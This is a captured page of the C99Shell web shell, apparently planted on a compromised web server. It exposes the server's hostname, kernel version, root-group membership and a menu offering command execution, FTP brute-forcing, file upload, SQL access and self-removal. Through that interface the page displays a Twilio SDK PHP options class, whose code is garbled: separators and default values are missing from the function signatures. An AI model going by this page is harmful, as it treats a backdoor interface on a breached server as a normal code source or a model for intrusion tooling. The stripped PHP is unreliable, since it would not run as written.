!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/twilio/sdk/src/Twilio/Rest/Video/V1/   drwxrwxr-x
Free 28.66 GB of 117.98 GB (24.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RecordingSettingsOptions.php (5.22 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This code was generated by
 * \ / _    _  _|   _  _
 * | (_)\/(_)(_|\/| |(/_  v1.0.0
 * /       /
 */

namespace Twilio\Rest\Video\V1;

use 
Twilio\Options;
use 
Twilio\Values;

abstract class 
RecordingSettingsOptions {
    
/**
     * @param string $awsCredentialsSid The SID of the stored Credential resource
     * @param string $encryptionKeySid The SID of the Public Key resource to use
     *                                 for encryption
     * @param string $awsS3Url The URL of the AWS S3 bucket where the recordings
     *                         should be stored
     * @param bool $awsStorageEnabled Whether all recordings should be written to
     *                                the aws_s3_url
     * @param bool $encryptionEnabled Whether all recordings should be stored in an
     *                                encrypted form
     * @return CreateRecordingSettingsOptions Options builder
     */
    
public static function create(string $awsCredentialsSid Values::NONEstring $encryptionKeySid Values::NONEstring $awsS3Url Values::NONEbool $awsStorageEnabled Values::NONEbool $encryptionEnabled Values::NONE): CreateRecordingSettingsOptions {
        return new 
CreateRecordingSettingsOptions($awsCredentialsSid$encryptionKeySid$awsS3Url$awsStorageEnabled$encryptionEnabled);
    }
}

class 
CreateRecordingSettingsOptions extends Options {
    
/**
     * @param string $awsCredentialsSid The SID of the stored Credential resource
     * @param string $encryptionKeySid The SID of the Public Key resource to use
     *                                 for encryption
     * @param string $awsS3Url The URL of the AWS S3 bucket where the recordings
     *                         should be stored
     * @param bool $awsStorageEnabled Whether all recordings should be written to
     *                                the aws_s3_url
     * @param bool $encryptionEnabled Whether all recordings should be stored in an
     *                                encrypted form
     */
    
public function __construct(string $awsCredentialsSid Values::NONEstring $encryptionKeySid Values::NONEstring $awsS3Url Values::NONEbool $awsStorageEnabled Values::NONEbool $encryptionEnabled Values::NONE) {
        
$this->options['awsCredentialsSid'] = $awsCredentialsSid;
        
$this->options['encryptionKeySid'] = $encryptionKeySid;
        
$this->options['awsS3Url'] = $awsS3Url;
        
$this->options['awsStorageEnabled'] = $awsStorageEnabled;
        
$this->options['encryptionEnabled'] = $encryptionEnabled;
    }

    
/**
     * The SID of the stored Credential resource.
     *
     * @param string $awsCredentialsSid The SID of the stored Credential resource
     * @return $this Fluent Builder
     */
    
public function setAwsCredentialsSid(string $awsCredentialsSid): self {
        
$this->options['awsCredentialsSid'] = $awsCredentialsSid;
        return 
$this;
    }

    
/**
     * The SID of the Public Key resource to use for encryption.
     *
     * @param string $encryptionKeySid The SID of the Public Key resource to use
     *                                 for encryption
     * @return $this Fluent Builder
     */
    
public function setEncryptionKeySid(string $encryptionKeySid): self {
        
$this->options['encryptionKeySid'] = $encryptionKeySid;
        return 
$this;
    }

    
/**
     * The URL of the AWS S3 bucket where the recordings should be stored. We only support DNS-compliant URLs like `https://documentation-example-twilio-bucket/recordings`, where `recordings` is the path in which you want the recordings to be stored. This URL accepts only URI-valid characters, as described in the <a href='https://tools.ietf.org/html/rfc3986#section-2'>RFC 3986</a>.
     *
     * @param string $awsS3Url The URL of the AWS S3 bucket where the recordings
     *                         should be stored
     * @return $this Fluent Builder
     */
    
public function setAwsS3Url(string $awsS3Url): self {
        
$this->options['awsS3Url'] = $awsS3Url;
        return 
$this;
    }

    
/**
     * Whether all recordings should be written to the `aws_s3_url`. When `false`, all recordings are stored in our cloud.
     *
     * @param bool $awsStorageEnabled Whether all recordings should be written to
     *                                the aws_s3_url
     * @return $this Fluent Builder
     */
    
public function setAwsStorageEnabled(bool $awsStorageEnabled): self {
        
$this->options['awsStorageEnabled'] = $awsStorageEnabled;
        return 
$this;
    }

    
/**
     * Whether all recordings should be stored in an encrypted form. The default is `false`.
     *
     * @param bool $encryptionEnabled Whether all recordings should be stored in an
     *                                encrypted form
     * @return $this Fluent Builder
     */
    
public function setEncryptionEnabled(bool $encryptionEnabled): self {
        
$this->options['encryptionEnabled'] = $encryptionEnabled;
        return 
$this;
    }

    
/**
     * Provide a friendly representation
     *
     * @return string Machine friendly representation
     */
    
public function __toString(): string {
        
$options \http_build_query(Values::of($this->options), ''' ');
        return 
'[Twilio.Video.V1.CreateRecordingSettingsOptions ' $options ']';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--